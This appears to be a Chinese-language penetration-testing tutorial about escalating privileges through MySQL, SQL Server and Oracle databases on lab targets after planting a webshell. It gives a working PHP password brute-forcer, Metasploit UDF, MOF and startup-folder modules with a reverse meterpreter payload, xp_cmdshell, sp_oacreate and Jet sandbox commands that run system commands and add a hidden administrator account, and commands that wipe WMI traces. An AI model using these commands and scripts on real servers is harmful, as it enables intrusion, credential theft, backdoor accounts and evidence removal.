数据库提权

权限提升

数据库提权

如果内核提权没效果的情况下,采取数据库提权

前提条件:服务器开启数据库服务并且我们要获取到最高权限的用户密码

账号

mysql:root

mssql:sa

Oracle:xxx

获取密码

  • SQL注入点–>sqlmap 数据库就会存放最高权限用户的账密
  • 数据库的存储文件或备份文件获取
  • 网站应用的配置文件获取
  • 工具、脚本爆破(需要解决外联问题)
    • 远程爆破
    • 本地爆破

sqlmap就不打了

数据库存放

我们先用哥斯拉连上靶机

生成木马

image-20240824172053296

image-20240824172231683

把木马放到靶机上

哥斯拉连接一下

image-20240824172410592

image-20240824172517682

image-20240824172650847

进入

找到phpstudy中的data目录

image-20240824181418506

data文件夹下就是mysql的表、库

每一个文件对应一个数据库

image-20240824181637870

进到mysql数据库中

.MYD文件中就存放了账号密码

找到

image-20240824181752609

打开

image-20240824181810589

password看的很清楚

mysql是通过md5加密的

解密一下

解密网站

image-20240824182137937

存储文件与备份文件

image-20240824183617972

配置文件中也存在

爆破

远程爆破

爆破需要开启数据库外连

开启数据库外联命令:

mysql> use mysql; –打开数据库

mysql> GRANT ALL PRIVILEGES ON . TO ‘root‘@’%’ IDENTIFIED BY ‘root’ WITH GRANT OPTION; –开启远程连接

mysql> DELETE FROM user WHERE User=”root” and Host=”%”;

mysql> flush privileges; –更新配置

数据库管理

image-20240824184004888

dbinfo-config

配置一下

image-20240824184404444

开启外联

image-20240824184500760

这样我们就可以用相应的外联工具进行远程连接

比如navicat

本地爆破

脚本:

<html>
<head>
<title>Mysql账号密码在线爆破工具</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
</head>
<body>
<center>
<br><br>
<h1>Mysql账号密码在线爆破工具 V2.0</h1>
<br>
<?php
if(@$_POST['submit']){
$host = @$_POST['host'];
if($host!==""){
$username = "root";//用户名字典
$password = array();
$filename = "pwd.txt"; //同目录下密码字典
$i=0;
$file = fopen($filename,'r');
while(! feof($file)){
$password[$i] = fgets($file);
$i++;
}


fclose($file);
echo "<hr><br>-----------------------爆破状态-----------------------<br>";
for ($l=0; $l <= count($password); $l++) {
$password1 = trim($password[$l]); //除去左右空白
if(@mysql_connect($host, $username, $password1)){
echo "<script>alert('数据库密码为:{$password1}')</script>";
echo "<br><br><font color='red'>爆破成功--密码-->".@$password1."</font>";
break;
}else{
continue;
}
}
echo "<br>----------------------爆破结束-----------------------<br><hr>";
}else{
echo "<script>alert('黑客,输入数据库IP地址')</script>";
}
}
?>
<br><br><br><br>
<form action="Completion.php" method="post">//这里要改成脚本名
数据库IP地址:<input type="text" name="host"/>
<input type="submit" value="爆破" name="submit"/>
</form>
<center>
</body>
</html>

我们只需要改下字典地址就行

上传后浏览器访问一下

image-20240824185325201

127.0.0.1

image-20240824185707167

成功

Mysql提权

UDF提权

这个其实在sql注入的时候遇到过

介绍

UDF(Userdefined function)可翻译为用户自定义函数,其为mysql的一个拓展接口,可以为mysql增添一些函数。比如mysql一些函数没有,我就使用UDF加入一些函数进去,那么我就可以在mysql中使用这个函数了

说明
使用条件
  • 获取mysql控制权限:知道mysql用户名和密码,并且可以远程登录(即获取了mysql数据库的权限)
  • mysql具有写入文件的权限:mysql有写入文件的权限,即secure_file_priv的值为空。

可以查下有没有权限

show global variables like '%secure%';

image-20240824210505405

为空–>有权限

secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制

如果secure_file_priv的值不是这个,我们可以在mysql/my.ini中查看是否有secure_file_priv 的参数,如果没有的话我们就添加 secure_file_priv = ‘ ‘ ,然后冲去apache服务即可生效。

什么情况下需使用mysql提权?
  • 拿到了mysql的权限,但是没拿到mysql所在服务器的任何权限,通过mysql提权,将mysql权限提升到操作系统权限

注:mysql提权获取到的权限大小跟运行mysql所在服务器登录的账号的权限相关,如操作系统以普通用户登录的并启动mysql,经udf提权后也只能获取到系统的普通用户权限。而使用管理员登录操作系统运行mysql,提权后获取的权限则为系统管理员权限

udf存放路径

mysql <5.1 c:/windows 或 system32

mysql>=5.1 /lib/plugin (mysql安装目录中)

查看数据库版本

select version(); //获取版本

select @@basedir; //获取mysql安装目录 (如果集成环境搭建没有,就自己创建一个)

image-20240824192730124

操作系统udf文件差异

linux: .so
windows: .dll

msf提权

msf可以生成dll文件

这里用到一个新模块

use exploit/multi/mysql/mysql_udf_payload

进去后show options看一下

image-20240824194128709

需要配置

rhost password username payload

set payload windows/meterpreter/reverse_tcp
set password root
set username root
set rhosts 192.168.10.199

image-20240824194735185

写入成功

image-20240824195334549

现在我们就需要用到我们的navicat了

select * from mysql.func where name = "sys_exec"; //查看有没有开启sys_exec

image-20240824200011274

现在 这个sys_exec函数已经与我们恶意udf绑定

create function sys_eval returns string soname "faTmtVTW.dll"; //创建函数绑定dll,dll的名字和查看的名字要一致

image-20240824200312376

绑定成功

现在我们可以rce了

select sys_eval("whoami")

image-20240824210038689

sqlmap生成dll

sqlmap也可以生成dll文件来提权

sqlmap\data\udf\mysql\windows\32 //dll路径
sqlmap\extra\cloak //解密模块路径
cloak.py -d -i 你的dll加密文件 //解密dll

sqlmap–>data–>udf–>mysql–>windows–>64–>lib_mysaludf_sys.dll

这是一个加密了的恶意dll

现在我们要把它解密

sqlmap中内置了解密脚本

把这个文件放到

sqlmap–>extra–>cloak

这里面有个cloak.py脚本

cmd

python claok.py -d -i lib_mysqludf_sys.dll_

image-20240824230610664

这个dll和我们msf生成的dll效果相同

我们把他放到目标的udf存放路径上

执行

create function sys_eval returns string soname "lib_mysqludf_sys.dll";

绑定

在执行rce就行

MOF提权

mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做”托管对象格式“其作用是每隔五秒就会去监控进程创建和死亡。其就是用又了mysql的root权限了以后,然后使用root权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行,这个mof当中有一段是vbs脚本,这个vbs大多数的是cmd的添加管理员用户的命令。

提权条件

  • 要有写入权限

  • my.ini配置secure_file_priv 为空

  • 开启外联

  • win2003及以前的一些版本

同样我们使用msf

use exploit/windows/mysql/mysql_mof

看下配置

image-20240824234630139

我们需要配置

password username rhost

set password root
set username root
set rhosts 192.168.0.123
run

我现在这个靶机是win2012 所以打不上去

image-20240824234845512

最后可以清理一下痕迹

停止 winmgmt 服务

net stop winmgmt

删除 Repository 文件夹

rmdir /s /q C:\Windows\system32\wbem\Repository\

手动删除 mof 文件

del C:\Windows\system32\wbem\mof\good\test.mof /F /S

删除创建的用户

net user hacker /delete

重新启动服务

net start winmgmt

启动项提权

提权条件
  • 要有写入权限

  • my.ini配置secure_file_priv 为空

  • 开启外联

因为要写木马 老样子了

启动项路径

#2003
C:\Documents and Settings\Administrator\Start Menu\Programs\Startup
C:\Documents and Settings\All Users\Start Menu\Programs\Startup
#2008
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
#2012
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

如果我们的文件放到这里面 那么在电脑重启后会自动调用system权限来执行这些文件

msf提权

用这个模块

use exploit/windows/mysql/mysql_start_up

看下配置

image-20240824235931487

我们需要配置

password username rhosts AllowNoCleanup

set password root
set username root
set rhosts 192.168.0.123
set AllowNoCleanup true

image-20240825000152356

image-20240825000321883

成功

现在我们只需要在msf上开启一个监听 一旦目标重启电脑 我们这边就直接上线

这里我们手动重启一下

image-20240825001221041

上线

注意这里端口是默认的4444

然后简单提权

image-20240825001144778

成功

SqlServer提权

SQLServers是默认支持外联

我的靶机是win2003

一样 先拿到webshell权限

一般使用iis + asp建立网站

iis查看网站根目录

image-20240825002624140

这样就可以打开网站根目录

image-20240825002649952

注意shell文件是asp的

82端口

哥斯拉连接

找到配置文件

image-20240825003005156

image-20240825003028544

xp_cmdshell提权

xp_cmdshell是mssql的一个开放接口 它可以让系统管理员以操作系统命令行解释器的方式执行给定的命令字符串,并以文本行方式返回任何输出,是一个功能非常强大的扩展“存贮过程”。

将命令字符串作为操作系统命令执行

使用navicat

看下这个组件开没开

select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'

image-20240825003721629

返回1 说明已启用

没有启用的话

可以用这条命名启用一下

EXEC sp_configure 'show advanced options', 1 RECONFIGURE EXEC sp_configure 'xp_cmdshell',1 RECONFIGURE

image-20240825003844282

当然也可以关闭这个组件

EXEC sp_configure 'show advanced options', 1 RECONFIGURE EXEC sp_configure 'xp_cmdshell',0 RECONFIGURE

这个组件一旦启用 就可以执行命令

exec xp_cmdshell "whoami"

image-20240825003958904

EXEC master..xp_cmdshell "whoami"

image-20240825004303066

EXEC master.dbo.xp_cmdshell "ipconfig"

image-20240825004344622

这三种命令都可以执行

sp_oacreate提权

跟xp_cmdshell差不多

系统存储过程 可以用于对于文件的一些操作 删除复制等

查看一下开没开这个服务

select count(*) from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE';

image-20240825004845279

返回1 表示已经启用

没有的话就启用一下

exec sp_configure 'show advanced options',1; reconfigure; exec sp_configure 'Ole Automation Procedures',1; reconfigure;

image-20240825004941322

写入文件 毕竟是操作文件的组件

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\sqltest.txt';

image-20240825005107864

返回0 表示成功

image-20240825005147760

已经写入

里面就是我们执行命令的结果

image-20240825005226057

当然也可以删除文件

declare @result int declare @fso_token int exec sp_oacreate 'scripting.filesystemobject', @fso_token out exec sp_oamethod @fso_token,'deletefile',null,'c:\sqltest.txt' exec sp_oadestroy @fso_token

image-20240825005316171

沙盒提权

沙盒是一种安全功能

在沙盒模式下,只对控件和字段属性中的安全且不含恶意代码的表达式求值.如果表达式不使用可能以某种方式损坏数据的函数或属性,则可认为它是安全的.

如果沙盒可以关闭的话 我们就可以利用沙盒来提权

看下开没开呢

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c whoami")')

image-20240825005650832

现在是未开启状态

我们可以开启一下组件

exec sp_configure 'show advanced options',1 ; reconfigure ; exec sp_configure 'Ad Hoc Distributed Queries',1 ; reconfigure;

image-20240825005753268

开启组件后会返回400

image-20240825005815109

同理 可以关闭组件

exec sp_configure 'show advanced options',1 ; reconfigure ; exec sp_configure 'Ad Hoc Distributed Queries',0 ; reconfigure;

现在我们可以关闭沙盒了

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;

image-20240825010210501

看下当前沙盒模式是什么状态

exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode'

image-20240825010312301

沙盒模式SandBoxMode参数含义(默认是2)
0:在任何所有者中禁止启用安全模式
1:为仅在允许范围内
2:必须在access模式下
3:完全开启

和sp_oacreate类似 创建一个文件 写入命令

Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c whoami >c:\\sqltest.txt ")');

image-20240825010447573

创建成功

image-20240825010511858

打开文件就是我们命令的执行结果

当然我们也可以用这些来创建一个用户

image-20240825011026742

现在是没有这个用户的

Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user testq QWEasd123 /add")'); 创建一个用户testq 密码是QWEasd123

Select * From OpenRowSet('microsoft.jet.oledb.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators testq /add")'); 把这个用户添加到管理员组

Select * From OpenRowSet('microsoft.jet.oledb.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user testq")'); 看下这个用户在不在

image-20240825011118708

成功

image-20240825011145944

Oracle提权

image-20240825011506963

木马已经传上来了

因为这个靶场环境是java环境(Apache Tocat)

所有木马是.jsp的

哥斯拉连接

image-20240825011722077

发现它默认就是system权限

system权限当然就不用提了

如果不是 说明他是集成环境搭建的

他的默认路径是Tomcat/webapps/root

配置文件也在这里

image-20240825012113642

oracle数据库默认的是1521端口

账号:scott

密码:tiger

这个testdb是他的sid号

我们使用这个工具来

OracleShell来提权

image-20240825012525157

填一下信息

注意 模式选择DBA模式 普通模式也行

连接成功后可以反弹shell

image-20240825012636851

可以看到数据库里的所有东西